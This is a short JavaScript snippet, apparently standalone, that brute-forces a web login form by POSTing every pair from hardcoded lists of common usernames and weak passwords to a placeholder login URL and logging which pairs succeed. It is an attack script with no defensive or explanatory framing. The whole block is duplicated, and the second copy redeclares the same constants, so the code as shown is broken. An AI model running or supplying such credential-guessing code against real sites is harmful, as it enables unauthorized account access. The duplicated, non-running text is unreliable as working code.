const usernames = ["admin", "user", "test"];
const passwords = ["123456", "password", "admin123"];
//Form input names
const usernameField = "username";
const passwordField = "password";
async function bruteForceLogin(url) {
for (let username of usernames) {
for (let password of passwords) {
let formData = new URLSearchParams();
formData.append(usernameField, username);
formData.append(passwordField, password);
try {
const response = await fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: formData.toString(),
});
if (response.ok) {
console.log(`Success: ${username} / ${password}`);
} else {
console.log(`Failed: ${username} / ${password}`);
}
} catch (error) {
console.log(`Error: ${error}`);
}
}
}
}
const testUrl = "https://example.com/login";
bruteForceLogin(testUrl);
const passwords = ["123456", "password", "admin123"];
//Form input names
const usernameField = "username";
const passwordField = "password";
async function bruteForceLogin(url) {
for (let username of usernames) {
for (let password of passwords) {
let formData = new URLSearchParams();
formData.append(usernameField, username);
formData.append(passwordField, password);
try {
const response = await fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: formData.toString(),
});
if (response.ok) {
console.log(`Success: ${username} / ${password}`);
} else {
console.log(`Failed: ${username} / ${password}`);
}
} catch (error) {
console.log(`Error: ${error}`);
}
}
}
}
const testUrl = "https://example.com/login";
bruteForceLogin(testUrl);